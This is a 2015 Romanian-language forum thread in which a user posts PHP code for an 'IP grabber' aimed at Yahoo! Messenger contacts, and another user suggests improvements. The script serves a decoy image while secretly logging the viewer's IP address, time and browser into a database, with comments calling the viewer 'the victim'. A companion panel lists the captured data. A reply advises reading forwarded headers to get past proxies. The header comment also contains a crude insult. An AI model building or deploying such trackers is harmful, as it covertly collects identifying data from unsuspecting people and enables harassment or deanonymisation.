shadowSQLi Posted April 5, 2015 Report Posted April 5, 2015 hi,hi,hi! ce imbunatatiri as putea aduce la acest script sa fie mai eficient, mai simplu de utilizat?index.php<?php#Ip(Internet Protocol) grabber for Yahoo!Messenger and other social softwares by #shadow#Version: 0.1 - beta#MA CULC ODATA CU GAINILE SI DE 1337 DE ORI CU MA-TA//show image$imagine = 'anonymous.jpg';header('Content-Type: image/jpeg');readfile($imagine);//mysql connect $mysql = mysqli_connect("localhost", "root", "", "test"); // verifica conexiunea if($mysql === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); }//prelucreaza datele$ip = $_SERVER['REMOTE_ADDR']; //ip-ul victimei$time = date('Y-m-d H:i:s'); //data si ora la care a fost luat ip-ul$browser=""; // BROWSER if(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),strtolower("MSIE"))){$browser="ie";}else if(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),strtolower("Presto"))){$browser="opera";}else if(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),strtolower("CHROME"))){$browser="chrome";}else if(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),strtolower("SAFARI"))){$browser="safari";}else if(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),strtolower("FIREFOX"))){$browser="firefox";}else {$browser="other";}//browser//INSEREAZA DATELE IN BAZA DE DATE.$sql = "INSERT INTO data (ip, time, browser) VALUES ('<font color=grey><b>$ip', '<font color=grey><b>$time', '<font color=grey><b>$browser')";if(mysqli_query($mysql, $sql)){ #SUCCES }?>PANEL.PHP<body ><?php$db_host = 'localhost';$db_user = 'root';$db_pwd = '';$database = 'test';$table = 'data';if (!mysql_connect($db_host, $db_user, $db_pwd)) die("Can't connect to database");if (!mysql_select_db($database)) die("Can't select database");// sending query$result = mysql_query("SELECT * FROM {$table}");if (!$result) { die("Query to show fields from table failed");}$fields_num = mysql_num_fields($result);echo "<center><table border='1'><tr>";// printing table headersfor($i=0; $i<$fields_num; $i++){ $field = mysql_fetch_field($result); echo "<td>{$field->name}</td>";}echo "</tr>\n";// printing table rowswhile($row = mysql_fetch_row($result)){ echo "<tr>"; // $row is array... foreach( .. ) puts every element // of $row to $cell variable foreach($row as $cell) echo "<td>$cell</td>"; echo "</tr>\n";}mysql_free_result($result);?></body></html>m-am mai inspirat si dupa google dar nu copy/paste ci doar informativ despre functii Quote
JIHAD Posted April 7, 2015 Report Posted April 7, 2015 ce se intampla cand este in spatele proxy-ului? inregistrezi proxy-ul in baza de date, as recomanda sa verifici daca exista:$_SERVER['HTTP_X_REAL_IP']$_SERVER['HTTP_CLIENT_IP']$_SERVER['HTTP_X_FORWARDED_FOR']si in caz ca nu exista niciunul din astea, sa salvezi$_SERVER['REMOTE_ADDR']E doar o parere... Quote